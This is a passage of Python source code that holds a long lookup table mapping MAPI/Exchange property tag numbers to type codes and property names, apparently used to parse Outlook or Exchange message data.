\"SentRepresentingSimpleDisplayName\"),\n        0x4032: (0x001f, None, None, 4, None, None, \"OriginalSenderSimpleDisplayName\"),\n        0x4033: (0x001f, None, None, 4, None, None, \"OriginalSentRepresentingSimpleDisplayName\"),\n        0x4034: (0x001f, None, None, 4, None, None, \"ReceivedBySimpleDisplayName\"),\n        0x4035: (0x001f, None, None, 4, None, None, \"RcvdRepresentingSimpleDisplayName\"),\n        0x4036: (0x001f, None, None, 4, None, None, \"ReadReceiptSimpleDisplayName\"),\n        0x4060: (0x001f, None, None, 4, None, None, \"OriginalAuthorSimpleDisplayName\"),\n        0x1002: (0x0102, None, None, 4, None, None, \"OriginatorAndDlExpansionHistory\"),\n        0x1003: (0x0102, None, None, 4, None, None, \"ReportingDlName\"),\n        0x1004: (0x0102, None, None, 4, None, None, \"ReportingMtaCertificate\"),\n        0x1007: (0x0003, None, None, 4, None, None, \"RtfSyncBodyCount\"),\n        0x1008: (0x001f, None, None, 4, None, None, \"RtfSyncBodyTag\"),\n        0x1010: (0x0003, None, None, 4, None, None, \"RtfSyncPrefixCount\"),\n        0x1011: (0x0003, None, None, 4, None, None, \"RtfSyncTrailingCount\"),\n        0x1012: (0x0102, None, None, 4, None, None, \"OriginallyIntendedRecipEntryId\"),\n        0x1097: (0x0003, None, None, 4, None, None, \"ItemTemporaryFlag\"),\n        0x10c6: (0x001f, None, None, 4, None, None, \"DavSubmitData\"),\n        0x0c00: (0x0102, None, None, 4, None, None, \"ContentIntegrityCheck\"),\n        0x0c01: (0x0003, None, None, 4, None, None, \"ExplicitConversion\"),\n        0x0c02: (0x000b, None, None, 4, None, None, \"IpmReturnRequested\"),\n        0x0c03: (0x0102, None, None, 4, None, None, \"MessageToken\"),\n        0x0c07: (0x0003, None, None, 4, None, None, \"DeliveryPoint\"),\n        0x0c09: (0x0102, None, None, 4, None, None, \"OriginatorRequestedAlternateRecipient\"),\n        0x0c0a: (0x000b, None, None, 4, None, None, \"PhysicalDeliveryBureauFaxDelivery\"),\n        0x0c0b: (0x0003, None, None, 4, None, None, \"PhysicalDeliveryMode\"),\n        0x0c0c: (0x0003, None, None, 4, None, None, \"PhysicalDeliveryReportRequest\"),\n        0x0c0d: (0x0102, None, None, 4, None, None, \"PhysicalForwardingAddress\"),\n        0x0c0e: (0x000b, None, None, 4, None, None, \"PhysicalForwardingAddressRequested\"),\n        0x0c0f: (0x000b, None, None, 4, None, None, \"PhysicalForwardingProhibited\"),\n        0x0c10: (0x0102, None, None, 4, None, None, \"PhysicalRenditionAttributes\"),\n        0x0c11: (0x0102, None, None, 4, None, None, \"ProofOfDelivery\"),\n        0x0c12: (0x000b, None, None, 4, None, None, \"ProofOfDeliveryRequested\"),\n        0x0c13: (0x0102, None, None, 4, None, None, \"RecipientCertificate\"),\n        0x0c14: (0x001f, None, None, 4, None, None, \"RecipientNumberForAdvice\"),\n        0x0c16: (0x0003, None, None, 4, None, None, \"RegisteredMailType\"),\n        0x0c18: (0x0003, None, None, 4, None, None, \"RequestedDeliveryMethod\"),\n        0x0c1c: (0x0003, None, None, 4, None, None, \"TypeOfMtsUser\"),\n        0x5903: (0x001f, None, None, 4, None, None, \"INetMailOverrideCharset\"),\n        0x4030: (0x001f, None, None, 4, None, None, \"SenderSimpleDisplayName\"),\n        0x0e00: (0x0014, None, None, 4, None, None, \"CurrentVersion\"),\n        0x0e05: (0x001f, None, None, 4, None, None, \"ParentDisplay\"),\n        0x0e0a: (0x0102, None, None, 4, None, None, \"SentMailEntryId\"),\n        0x0e0c: (0x000b, None, None, 4, None, None, \"Correlate\"),\n        0x0e0d: (0x0102, None, None, 4, None, None, \"CorrelateMtsid\"),\n        0x0e0e: (0x000b, None, None, 4, None, None, \"DiscreteValues\"),\n        0x0e10: (0x0003, None, None, 4, None, None, \"SpoolerStatus\"),\n        0x0e11: (0x0003, None, None, 4, None, None, \"TransportStatus\"),\n        0x0e14: (0x0003, None, None, 4, None, None, \"SubmitFlags\"),\n        0x0e15: (0x0003, None, None, 4, None, None, \"RecipientStatus\"),\n        0x0e16: (0x0003, None, None, 4, None, None, \"TransportKey\"),\n        0x0e18: (0x0003, None, None, 4, None, None, \"MessageDownloadTime\"),\n        0x0e19: (0x0014, None, None, 4, None, None, \"CreationVersion\"),\n        0x0e1a: (0x0014, None, None, 4, None, None, \"ModifyVersion\"),\n        0x0e1c: (0x0003, None, None, 4, None, None, \"BodyCrc\"),\n        0x0e22: (0x000b, None, None, 4, None, None, \"Preprocess\"),\n        0x0e23: (0x0003, None, None, 4, None, None, \"InternetArticleNumber\"),\n        0x0e25: (0x0102, None, None, 4, None, None, \"OriginatingMtaCertificate\"),\n        0x0e26: (0x0102, None, None, 4, None, None, \"ProofOfSubmission\"),\n        0x0e3a: (0x000d, None, None, 4, None, None, \"MessageDeepAttachments\"),\n        0x0e85: (0x001f, None, None, 4, None, None, \"AntiVirusVendor\"),\n        0x0e86: (0x0003, None, None, 4, None, None, \"AntiVirusVersion\"),\n        0x0e87: (0x0003, None, None, 4, None, None, \"AntiVirusScanStatus\"),\n        0x0e88: (0x001f, None, None, 4, None, None, \"AntiVirusScanInfo\"),\n        0x0e96: (0x101f, None, None, 4, None, None, \"TransportAntiVirusStamp\"),\n        0x0e7c: (0x0003, None, None, 4, None, None, \"MessageDatabasePage\"),\n        0x0e7d: (0x0003, None, None, 4, None, None, \"MessageHeaderDatabasePage\"),\n        0x0ffd: (0x0102, None, None, 4, None, None, \"Icon\"),\n        0x0ffc: (0x0102, None, None, 4, None, None, \"MiniIcon\"),\n        0x0ffa: (0x0102, None, None, 4, None, None, \"StoreRecordKey\"),\n        0x0f0e: (0x001f, None, None, 4, None, None, \"MessageAnnotation\"),\n        0x3006: (0x001f, None, None, 4, None, None, \"ProviderDisplay\"),\n        0x3009: (0x0003, None, None, 4, None, None, \"ResourceFlags\"),\n        0x300a: (0x001f, None, None, 4, None, None, \"ProviderDllName\"),\n        0x300c: (0x0102, None, None, 4, None, None, \"ProviderUid\"),\n        0x300d: (0x0003, None, None, 4, None, None, \"ProviderOrdinal\"),\n        0x3012: (0x001f, None, None, 4, None, None, \"ConversationIdObsolete\"),\n        0x3014: (0x0102, None, None, 4, None, None, \"BodyTag\"),\n        0x3015: (0x0014, None, None, 4, None, None, \"ConversationIndexTrackingObsolete\"),\n        0x6827: (0x0003, None, None, 4, None, None, \"ConversationIdHash\"),\n        0x6200: (0x0003, None, None, 4, None, None, \"InternetMessageIdHash\"),\n        0x6201: (0x0003, None, None, 4, None, None, \"ConversationTopicHash\"),\n        0x3660: (0x0102, None, None, 4, None, None, \"ConversationTopicHashEntries\"),\n        0x3301: (0x001f, None, None, 4, None, None, \"FormVersion\"),\n        0x3302: (0x0048, None, None, 4, None, None, \"FormClsid\"),\n        0x3303: (0x001f, None, None, 4, None, None, \"FormContactName\"),\n        0x3304: (0x001f, None, None, 4, None, None, \"FormCategory\"),\n        0x3305: (0x001f, None, None, 4, None, None, \"FormCategorySub\"),\n        0x3306: (0x1003, None, None, 4, None, None, \"FormHostMap\"),\n        0x3307: (0x000b, None, None, 4, None, None, \"FormHidden\"),\n        0x3308: (0x001f, None, None, 4, None, None, \"FormDesignerName\"),\n        0x3309: (0x0048, None, None, 4, None, None, \"FormDesignerGuid\"),\n        0x330a: (0x0003, None, None, 4, None, None, \"FormMessageBehavior\"),\n        0x3400: (0x000b, None, None, 4, None, None, \"DefaultStore\"),\n        0x3410: (0x0102, None, None, 4, None, None, \"IpmSubtreeSearchKey\"),\n        0x3411: (0x0102, None, None, 4, None, None, \"IpmOutboxSearchKey\"),\n        0x3412: (0x0102, None, None, 4, None, None, \"IpmWastebasketSearchKey\"),\n        0x3413: (0x0102, None, None, 4, None, None, \"IpmSentMailSearchKey\"),\n        0x3414: (0x0102, None, None, 4, None, None, \"MdbProvider\"),\n        0x3415: (0x000d, None, None, 4, None, None, \"ReceiveFolderSettings\"),\n        0x35df: (0x0003, None, None, 4, None, None, \"ValidFolderMask\"),\n        0x35e0: (0x0102, None, None, 4, None, None, \"IpmSubtreeEntryId\"),\n        0x35e2: (0x0102, None, None, 4, None, None, \"IpmOutboxEntryId\"),\n        0x35e4: (0x0102, None, None, 4, None, None, \"IpmSentMailEntryId\"),\n        0x35e5: (0x0102, None, None, 4, None, None, \"ViewsEntryId\"),\n        0x35e6: (0x0102, None, None, 4, None, None, \"CommonViewsEntryId\"),\n        0x35e7: (0x0102, None, None, 4, None, None, \"FinderEntryId\"),\n        0x35ec: (0x0102, None, None, 4, None, None, \"ConversationsFolderEntryId\"),\n        0x35ee: (0x0102, None, None, 4, None, None, \"AllItemsEntryId\"),\n        0x35ef: (0x0102, None, None, 4, None, None, \"SharingFolderEntryId\"),\n        0x0e5c: (0x000b, None, None, 4, None, None, \"CISearchEnabled\"),\n        0x3416: (0x0102, None, None, 4, None, None, \"LocalDirectoryEntryId\"),\n        0x3646: (0x0102, None, None, 4, None, None, \"OwnerLogonUserConfigurationCache\"),\n        0x3420: (0x0102, None, None, 4, None, None, \"ControlDataForCalendarRepairAssistant\"),\n        0x3421: (0x0102, None, None, 4, None, None, \"ControlDataForSharingPolicyAssistant\"),\n        0x3422: (0x0102, None, None, 4, None, None, \"ControlDataForElcAssistant\"),\n        0x3423: (0x0102, None, None, 4, None, None, \"ControlDataForTopNWordsAssistant\"),\n        0x3424: (0x0102, None, None, 4, None, None, \"ControlDataForJunkEmailAssistant\"),\n        0x3425: (0x0102, None, None, 4, None, None, \"ControlDataForCalendarSyncAssistant\"),\n        0x3426: (0x0003, None, None, 4, None, None, \"ExternalSharingCalendarSubscriptionCount\"),\n        0x3427: (0x0102, None, None, 4, None, None, \"ControlDataForUMReportingAssistant\"),\n        0x3428: (0x000b, None, None, 4, None, None, \"HasUMReportData\"),\n        0x3429: (0x0003, None, None, 4, None, None, \"InternetCalendarSubscriptionCount\"),\n        0x342a: (0x0003, None, None, 4, None, None, \"ExternalSharingContactSubscriptionCount\"),\n        0x342b: (0x0003, None, None, 4, None, None, \"JunkEmailSafeListDirty\"),\n        0x342c: (0x000b, None, None, 4, None, None, \"IsTopNEnabled\"),\n        0x342d: (0x0102, None, None, 4, None, None, \"LastSharingPolicyAppliedId\"),\n        0x342e: (0x0102, None, None, 4, None, None, \"LastSharingPolicyAppliedHash\"),\n        0x342f: (0x0040, None, None, 4, None, None, \"LastSharingPolicyAppliedTime\"),\n        0x3430: (0x0040, None, None, 4, None, None, \"OofScheduleStart\"),\n        0x3431: (0x0040, None, None, 4, None, None, \"OofScheduleEnd\"),\n        0x35fe: (0x0102, None, None, 4, None, None, \"UnsearchableItemsStream\"),\n        0x3604: (0x000d, None, None, 4, None, None, \"CreateTemplates\"),\n        0x3605: (0x000d, None, None, 4, None, None, \"DetailsTable\"),\n        0x3607: (0x000d, None, None, 4, None, None, \"Search\"),\n        0x360b: (0x0003, None, None, 4, None, None, \"Status\"),\n        0x360d: (0x1003, None, None, 4, None, None, \"ContentsSortOrder\"),\n        0x3611: (0x0102, None, None, 4, None, None, \"DefCreateDl\"),\n        0x3612: (0x0102, None, None, 4, None, None, \"DefCreateMailuser\"),\n        0x3614: (0x0014, None, None, 4, None, None, \"ContainerModifyVersion\"),\n        0x3615: (0x0102, None, None, 4, None, None, \"AbProviderId\"),\n        0x3616: (0x0102, None, None, 4, None, None, \"DefaultViewEntryId\"),\n        0x3617: (0x0003, None, None, 4, None, None, \"AssocContentCount\"),\n        0x3644: (0x0003, None, None, 4, None, None, \"SearchFolderMsgCount\"),\n        0x361f: (0x000b, None, None, 4, None, None, \"AllowAgeout\"),\n        0x6787: (0x101f, None, None, 4, None, None, \"SearchBacklinkNames\"),\n        0x3700: (0x0102, None, None, 4, None, None, \"AttachmentX400Parameters\"),\n        0x3716: (0x001f, None, None, 4, None, None, \"AttachDisposition\"),\n        0x0eb0: (0x0003, None, None, 4, None, None, \"SearchResultKind\"),\n        0x0eab: (0x001f, None, None, 4, None, None, \"SearchFullText\"),\n        0x0eac: (0x001f, None, None, 4, None, None, \"SearchFullTextSubject\"),\n        0x0ead: (0x001f, None, None, 4, None, None, \"SearchFullTextBody\"),\n        0x0eae: (0x001f, None, None, 4, None, None, \"SearchFullTextConversationIndex\"),\n        0x0eaf: (0x001f, None, None, 4, None, None, \"SearchAllIndexedProps\"),\n        0x0eb1: (0x001f, None, None, 4, None, None, \"SearchRecipients\"),\n        0x0eb2: (0x001f, None, None, 4, None, None, \"SearchRecipientsTo\"),\n        0x0eb3: (0x001f, None, None, 4, None, None, \"SearchRecipientsCc\"),\n        0x0eb4: (0x001f, None, None, 4, None, None, \"SearchRecipientsBcc\"),\n        0x0eb5: (0x001f, None, None, 4, None, None, \"SearchAccountTo\"),\n        0x0eb6: (0x001f, None, None, 4, None, None, \"SearchAccountCc\"),\n        0x0eb7: (0x001f, None, None, 4, None, None, \"SearchAccountBcc\"),\n        0x0eb8: (0x001f, None, None, 4, None, None, \"SearchEmailAddressTo\"),\n        0x0eb9: (0x001f, None, None, 4, None, None, \"SearchEmailAddressCc\"),\n        0x0eba: (0x001f, None, None, 4, None, None, \"SearchEmailAddressBcc\"),\n        0x0ebb: (0x001f, None, None, 4, None, None, \"SearchSmtpAddressTo\"),\n        0x0ebc: (0x001f, None, None, 4, None, None, \"SearchSmtpAddressCc\"),\n        0x0ebd: (0x001f, None, None, 4, None, None, \"SearchSmtpAddressBcc\"),\n        0x0ebe: (0x001f, None, None, 4, None, None, \"SearchSender\"),\n        0x0ebf: (0x001f, None, None, 4, None, None, \"SendYearHigh\"),\n        0x0ec0: (0x001f, None, None, 4, None, None, \"SendYearLow\"),\n        0x0ec1: (0x001f, None, None, 4, None, None, \"SendMonth\"),\n        0x0ec2: (0x001f, None, None, 4, None, None, \"SendDayHigh\"),\n        0x0ec3: (0x001f, None, None, 4, None, None, \"SendDayLow\"),\n        0x0ec4: (0x001f, None, None, 4, None, None, \"SendQuarterHigh\"),\n        0x0ec5: (0x001f, None, None, 4, None, None, \"SendQuarterLow\"),\n        0x0ec6: (0x001f, None, None, 4, None, None, \"RcvdYearHigh\"),\n        0x0ec7: (0x001f, None, None, 4, None, None, \"RcvdYearLow\"),\n        0x0ec8: (0x001f, None, None, 4, None, None, \"RcvdMonth\"),\n        0x0ec9: (0x001f, None, None, 4, None, None, \"RcvdDayHigh\"),\n        0x0eca: (0x001f, None, None, 4, None, None, \"RcvdDayLow\"),\n        0x0ecb: (0x001f, None, None, 4, None, None, \"RcvdQuarterHigh\"),\n        0x0ecc: (0x001f, None, None, 4, None, None, \"RcvdQuarterLow\"),\n        0x0ecd: (0x000b, None, None, 4, None, None, \"IsIrmMessage\"),\n        0x3a01: (0x0102, None, None, 4, None, None, \"AlternateRecipient\"),\n        0x3a03: (0x000b, None, None, 4, None, None, \"ConversionProhibited\"),\n        0x3a04: (0x000b, None, None, 4, None, None, \"DiscloseRecipients\"),\n        0x3a0e: (0x000b, None, None, 4, None, None, \"MailPermission\"),\n        0x3a13: (0x001f, None, None, 4, None, None, \"OriginalDisplayName\"),\n        0x3a14: (0x0102, None, None, 4, None, None, \"OriginalSearchKey\"),\n        0x3a52: (0x0048, None, None, 4, None, None, \"ContactVersion\"),\n        0x3a53: (0x1102, None, None, 4, None, None, \"ContactEntryIds\"),\n        0x3a54: (0x101f, None, None, 4, None, None, \"ContactAddrTypes\"),\n        0x3a55: (0x0003, None, None, 4, None, None, \"ContactDefaultAddressIndex\"),\n        0x3a56: (0x101f, None, None, 4, None, None, \"ContactEmailAddresses\"),\n        0x3d00: (0x0102, None, None, 4, None, None, \"StoreProviders\"),\n        0x3d01: (0x0102, None, None, 4, None, None, \"AbProviders\"),\n        0x3d02: (0x0102, None, None, 4, None, None, \"TransportProviders\"),\n        0x3d04: (0x000b, None, None, 4, None, None, \"DefaultProfile\"),\n        0x3d05: (0x1102, None, None, 4, None, None, \"AbSearchPath\"),\n        0x3d06: (0x0102, None, None, 4, None, None, \"AbDefaultDir\"),\n        0x3d07: (0x0102, None, None, 4, None, None, \"AbDefaultPab\"),\n        0x3d08: (0x0102, None, None, 4, None, None, \"FilteringHooks\"),\n        0x3d09: (0x001f, None, None, 4, None, None, \"ServiceName\"),\n        0x3d0a: (0x001f, None, None, 4, None, None, \"ServiceDllName\"),\n        0x3d0c: (0x0102, None, None, 4, None, None, \"ServiceUid\"),\n        0x3d0d: (0x0102, None, None, 4, None, None, \"ServiceExtraUids\"),\n        0x3d0e: (0x0102, None, None, 4, None, None, \"Services\"),\n        0x3d0f: (0x101f, None, None, 4, None, None, \"ServiceSupportFiles\"),\n        0x3d10: (0x101f, None, None, 4, None, None, \"ServiceDeleteFiles\"),\n        0x3d11: (0x0102, None, None, 4, None, None, \"AbSearchPathUpdate\"),\n        0x3d12: (0x001f, None, None, 4, None, None, \"ProfileName\"),\n        0x3fe9: (0x0003, None, None, 4, None, None, \"EformsLocaleId\"),\n        0x6620: (0x0102, None, None, 4, None, None, \"NonIpmSubtreeEntryId\"),\n        0x6621: (0x0102, None, None, 4, None, None, \"EFormsRegistryEntryId\"),\n        0x6623: (0x0102, None, None, 4, None, None, \"OfflineAddressBookEntryId\"),\n        0x6624: (0x0102, None, None, 4, None, None, \"LocaleEFormsRegistryEntryId\"),\n        0x6625: (0x0102, None, None, 4, None, None, \"LocalSiteFreeBusyEntryId\"),\n        0x6626: (0x0102, None, None, 4, None, None, \"LocalSiteOfflineAddressBookEntryId\"),\n        0x6810: (0x0003, None, None, 4, None, None, \"OofStateEx\"),\n        0x6813: (0x0040, None, None, 4, None, None, \"OofStateUserChangeTime\"),\n        0x6814: (0x0102, None, None, 4, None, None, \"UserOofSettingsItemId\"),\n        0x35e3: (0x0102, None, None, 4, None, None, \"IpmWasteBasketEntryId\"),\n        0x3011: (0x0102, None, None, 4, None, None, \"ForceUserClientBackoff\"),\n        0x6618: (0x0003, None, None, 4, None, None, \"InTransitStatus\"),\n        0x662a: (0x000b, None, None, 4, None, None, \"TransferEnabled\"),\n        0x65f6: (0x101f, None, None, 4, None, None, \"ImapSubscribeList\"),\n        0x676c: (0x0102, None, None, 4, None, None, \"MapiEntryIdGuid\"),\n        0x662f: (0x000d, None, None, 4, None, None, \"FastTransfer\"),\n        0x681a: (0x000b, None, None, 4, None, None, \"MailboxQuarantined\"),\n        0x6761: (0x0102, None, None, 4, None, None, \"NextLocalId\"),\n        0x6670: (0x0102, None, None, 4, None, None, \"LongTermEntryIdFromTable\"),\n        0x0e27: (0x0102, None, None, 4, None, None, \"NTSD\"),\n        0x3d21: (0x0102, None, None, 4, None, None, \"AdminNTSD\"),\n        0x0f00: (0x0102, None, None, 4, None, None, \"FreeBusyNTSD\"),\n        0x0e3f: (0x0102, None, None, 4, None, None, \"AclTableAndNTSD\"),\n        0x6707: (0x001f, None, None, 4, None, None, \"UrlName\"),\n        0x6698: (0x0102, None, None, 4, None, None, \"ReplicaList\"),\n        0x663f: (0x000b, None, None, 4, None, None, \"HasModerator\"),\n        0x3fe6: (0x000b, None, None, 4, None, None, \"PublishInAddressBook\"),\n        0x6699: (0x0003, None, None, 4, None, None, \"OverallAgeLimit\"),\n        0x66c4: (0x0003, None, None, 4, None, None, \"RetentionAgeLimit\"),\n        0x6779: (0x0003, None, None, 4, None, None, \"PfQuotaStyle\"),\n        0x677b: (0x0003, None, None, 4, None, None, \"PfStorageQuota\"),\n        0x6721: (0x0003, None, None, 4, None, None, \"PfOverHardQuotaLimit\"),\n        0x6722: (0x0003, None, None, 4, None, None, \"PfMsgSizeLimit\"),\n        0x6690: (0x0003, None, None, 4, None, None, \"ReplicationStyle\"),\n        0x6691: (0x0102, None, None, 4, None, None, \"ReplicationSchedule\"),\n        0x66c5: (0x000b, None, None, 4, None, None, \"DisablePeruserRead\"),\n        0x6701: (0x0003, None, None, 4, None, None, \"PfMsgAgeLimit\"),\n        0x671d: (0x0102, None, None, 4, None, None, \"PfProxy\"),\n        0x3d2f: (0x0003, None, None, 4, None, None, \"SystemFolderFlags\"),\n        0x3fd9: (0x001f, None, None, 4, None, None, \"Preview\"),\n        0x6828: (0x0102, None, None, 4, None, None, \"LocalDirectory\"),\n        0x0e63: (0x0003, None, None, 4, None, None, \"SendFlags\"),\n        0x3fe1: (0x000d, None, None, 4, None, None, \"RulesTable\"),\n        0x4080: (0x0003, None, None, 4, None, None, \"OofReplyType\"),\n        0x4081: (0x001f, None, None, 4, None, None, \"ElcAutoCopyLabel\"),\n        0x6716: (0x0102, None, None, 4, None, None, \"ElcAutoCopyTag\"),\n        0x6717: (0x0102, None, None, 4, None, None, \"ElcMoveDate\"),\n        0x6829: (0x001f, None, None, 4, None, None, \"MemberEmail\"),\n        0x682a: (0x001f, None, None, 4, None, None, \"MemberExternalId\"),\n        0x682b: (0x0102, None, None, 4, None, None, \"MemberSID\"),\n        0x662c: (0x000d, None, None, 4, None, None, \"HierarchySynchronizer\"),\n        0x662d: (0x000d, None, None, 4, None, None, \"ContentsSynchronizer\"),\n        0x662e: (0x000d, None, None, 4, None, None, \"Collector\"),\n        0x6609: (0x000b, None, None, 4, None, None, \"SendRichInfoOnly\"),\n        0x6637: (0x000b, None, None, 4, None, None, \"SendNativeBody\"),\n        0x6608: (0x0003, None, None, 4, None, None, \"InternetTransmitInfo\"),\n        0x6610: (0x0003, None, None, 4, None, None, \"InternetMessageFormat\"),\n        0x6611: (0x0003, None, None, 4, None, None, \"InternetMessageTextFormat\"),\n        0x6615: (0x0003, None, None, 4, None, None, \"InternetRequestLines\"),\n        0x6616: (0x0003, None, None, 4, None, None, \"InternetHeaderLength\"),\n        0x6617: (0x0003, None, None, 4, None, None, \"InternetAddressingOptions\"),\n        0x661a: (0x001f, None, None, 4, None, None, \"InternetTemporaryFilename\"),\n        0x6570: (0x0003, None, None, 4, None, None, \"InternetExternalNewsItem\"),\n        0x661e: (0x0003, None, None, 4, None, None, \"InternetRequestHeaders\"),\n        0x6631: (0x001f, None, None, 4, None, None, \"InternetClientHostIPName\"),\n        0x66c0: (0x0040, None, None, 4, None, None, \"ConnectTime\"),\n        0x66c1: (0x0003, None, None, 4, None, None, \"ConnectFlags\"),\n        0x66c2: (0x0003, None, None, 4, None, None, \"LogonCount\"),\n        0x669f: (0x001f, None, None, 4, None, None, \"HostAddress\"),\n        0x66a0: (0x001f, None, None, 4, None, None, \"NTUserName\"),\n        0x66a2: (0x0040, None, None, 4, None, None, \"LastLogonTime\"),\n        0x66a3: (0x0040, None, None, 4, None, None, \"LastLogoffTime\"),\n        0x66a4: (0x0003, None, None, 4, None, None, \"StorageLimitInformation\"),\n        0x66a5: (0x000b, None, None, 4, None, None, \"InternetMdns\"),\n        0x669b: (0x0014, None, None, 4, None, None, \"DeletedMessageSizeExtended\"),\n        0x669c: (0x0014, None, None, 4, None, None, \"DeletedNormalMessageSizeExtended\"),\n        0x669d: (0x0014, None, None, 4, None, None, \"DeleteAssocMessageSizeExtended\"),\n        0x6640: (0x0003, None, None, 4, None, None, \"DeletedMsgCount\"),\n        0x6708: (0x0040, None, None, 4, None, None, \"DateDiscoveredAbsentInDS\"),\n        0x6778: (0x001f, None, None, 4, None, None, \"AdminNickName\"),\n        0x6723: (0x0003, None, None, 4, None, None, \"QuotaReceiveThreshold\"),\n        0x66df: (0x0040, None, None, 4, None, None, \"LastOpTime\"),\n        0x66ff: (0x0003, None, None, 4, None, None, \"PacketRate\"),\n        0x66cc: (0x0040, None, None, 4, None, None, \"LogonTime\"),\n        0x66cd: (0x0003, None, None, 4, None, None, \"LogonFlags\"),\n        0x6764: (0x0014, None, None, 4, None, None, \"MsgHeaderFid\"),\n        0x66c9: (0x001f, None, None, 4, None, None, \"MailboxDisplayName\"),\n        0x66c8: (0x001f, None, None, 4, None, None, \"MailboxDN\"),\n        0x66cb: (0x001f, None, None, 4, None, None, \"UserDisplayName\"),\n        0x66ca: (0x001f, None, None, 4, None, None, \"UserDN\"),\n        0x6710: (0x0014, None, None, 4, None, None, \"SessionId\"),\n        0x66cf: (0x0003, None, None, 4, None, None, \"OpenMessageCount\"),\n        0x66d0: (0x0003, None, None, 4, None, None, \"OpenFolderCount\"),\n        0x66d1: (0x0003, None, None, 4, None, None, \"OpenAttachCount\"),\n        0x66d2: (0x0003, None, None, 4, None, None, \"OpenContentCount\"),\n        0x66d3: (0x0003, None, None, 4, None, None, \"OpenHierarchyCount\"),\n        0x66d4: (0x0003, None, None, 4, None, None, \"OpenNotifyCount\"),\n        0x66d5: (0x0003, None, None, 4, None, None, \"OpenAttachTableCount\"),\n        0x66d6: (0x0003, None, None, 4, None, None, \"OpenACLTableCount\"),\n        0x66d7: (0x0003, None, None, 4, None, None, \"OpenRulesTableCount\"),\n        0x66d8: (0x0003, None, None, 4, None, None, \"OpenStreamsCount\"),\n        0x66d9: (0x0003, None, None, 4, None, None, \"OpenFXSrcStreamCount\"),\n        0x66da: (0x0003, None, None, 4, None, None, \"OpenFXDestStreamCount\"),\n        0x66db: (0x0003, None, None, 4, None, None, \"OpenContentRegularCount\"),\n        0x66dc: (0x0003, None, None, 4, None, None, \"OpenContentCategCount\"),\n        0x66dd: (0x0003, None, None, 4, None, None, \"OpenContentRestrictedCount\"),\n        0x66de: (0x0003, None, None, 4, None, None, \"OpenContentCategAndRestrictedCount\"),\n        0x66b8: (0x0003, None, None, 4, None, None, \"MessagingOpRate\"),\n        0x66b9: (0x0003, None, None, 4, None, None, \"FolderOpRate\"),\n        0x66ba: (0x0003, None, None, 4, None, None, \"TableOpRate\"),\n        0x66bb: (0x0003, None, None, 4, None, None, \"TransferOpRate\"),\n        0x66bc: (0x0003, None, None, 4, None, None, \"StreamOpRate\"),\n        0x66bd: (0x0003, None, None, 4, None, None, \"ProgressOpRate\"),\n        0x66be: (0x0003, None, None, 4, None, None, \"OtherOpRate\"),\n        0x66bf: (0x0003, None, None, 4, None, None, \"TotalOpRate\"),\n        0x671f: (0x000b, None, None, 4, None, None, \"PfProxyRequired\"),\n        0x6724: (0x0102, None, None, 4, None, None, \"ClientIP\"),\n        0x6725: (0x0102, None, None, 4, None, None, \"ClientIPMask\"),\n        0x6726: (0x0102, None, None, 4, None, None, \"ClientMacAddress\"),\n        0x6727: (0x001f, None, None, 4, None, None, \"ClientMachineName\"),\n        0x6728: (0x0003, None, None, 4, None, None, \"ClientAdapterSpeed\"),\n        0x6729: (0x0003, None, None, 4, None, None, \"ClientRpcsAttempted\"),\n        0x672a: (0x0003, None, None, 4, None, None, \"ClientRpcsSucceeded\"),\n        0x672b: (0x0102, None, None, 4, None, None, \"ClientRpcErrors\"),\n        0x672c: (0x0003, None, None, 4, None, None, \"ClientLatency\"),\n        0x666f: (0x000b, None, None, 4, None, None, \"SubmittedByAdmin\"),\n        0x680d: (0x0003, None, None, 4, None, None, \"ObjectClassFlags\"),\n        0x682d: (0x0003, None, None, 4, None, None, \"MaxMessageSize\"),\n        0x672d: (0x0003, None, None, 4, None, None, \"TimeInServer\"),\n        0x672e: (0x0003, None, None, 4, None, None, \"TimeInCPU\"),\n        0x672f: (0x0003, None, None, 4, None, None, \"ROPCount\"),\n        0x6730: (0x0003, None, None, 4, None, None, \"PageRead\"),\n        0x6731: (0x0003, None, None, 4, None, None, \"PagePreread\"),\n        0x6732: (0x0003, None, None, 4, None, None, \"LogRecordCount\"),\n        0x6733: (0x0003, None, None, 4, None, None, \"LogRecordBytes\"),\n        0x6734: (0x0003, None, None, 4, None, None, \"LdapReads\"),\n        0x6735: (0x0003, None, None, 4, None, None, \"LdapSearches\"),\n        0x6736: (0x001f, None, None, 4, None, None, \"DigestCategory\"),\n        0x6737: (0x0003, None, None, 4, None, None, \"SampleId\"),\n        0x6738: (0x0040, None, None, 4, None, None, \"SampleTime\"),\n        0x661f: (0x0102, None, None, 4, None, None, \"DeferredActionFolderEntryID\"),\n        0x3fff: (0x0003, None, None, 4, None, None, \"RulesSize\"),\n        0x668d: (0x0002, None, None, 4, None, None, \"RuleVersion\"),\n        0x65f2: (0x0002, None, None, 4, None, None, \"RuleMsgVersion\"),\n        0x3642: (0x0102, None, None, 4, None, None, \"DAMReferenceMessageEntryID\"),\n        0x65f5: (0x0040, None, None, 4, None, None, \"ImapInternalDate\"),\n        0x6751: (0x0003, None, None, 4, None, None, \"NextArticleId\"),\n        0x6752: (0x0003, None, None, 4, None, None, \"ImapLastArticleId\"),\n        0x0e2f: (0x0003, None, None, 4, None, None, \"ImapId\"),\n        0x0e32: (0x0002, None, None, 4, None, None, \"OriginalSourceServerVersion\"),\n        0x5806: (0x000b, None, None, 4, None, None, \"DeliverAsRead\"),\n        0x67fe: (0x0014, None, None, 4, None, None, \"ReadCn\"),\n        0x6808: (0x0003, None, None, 4, None, None, \"EventMask\"),\n        0x676a: (0x0102, None, None, 4, None, None, \"EventMailboxGuid\"),\n        0x6815: (0x0003, None, None, 4, None, None, \"DocumentId\"),\n        0x6702: (0x000b, None, None, 4, None, None, \"BeingDeleted\"),\n        0x678d: (0x0102, None, None, 4, None, None, \"FolderCDN\"),\n        0x67f6: (0x0003, None, None, 4, None, None, \"ModifiedCount\"),\n        0x67f7: (0x0003, None, None, 4, None, None, \"DeleteState\"),\n        0x66fe: (0x001f, None, None, 4, None, None, \"AdminDisplayName\"),\n        0x66a9: (0x0040, None, None, 4, None, None, \"LastAccessTime\"),\n        0x6830: (0x0040, None, None, 4, None, None, \"LastUserAccessTime\"),\n        0x6831: (0x0040, None, None, 4, None, None, \"LastUserModificationTime\"),\n        0x66b4: (0x0014, None, None, 4, None, None, \"AssocMessageSizeExtended\"),\n        0x66b5: (0x001f, None, None, 4, None, None, \"FolderPathName\"),\n        0x66b6: (0x0003, None, None, 4, None, None, \"OwnerCount\"),\n        0x66b7: (0x0003, None, None, 4, None, None, \"ContactCount\"),\n        0x7c01: 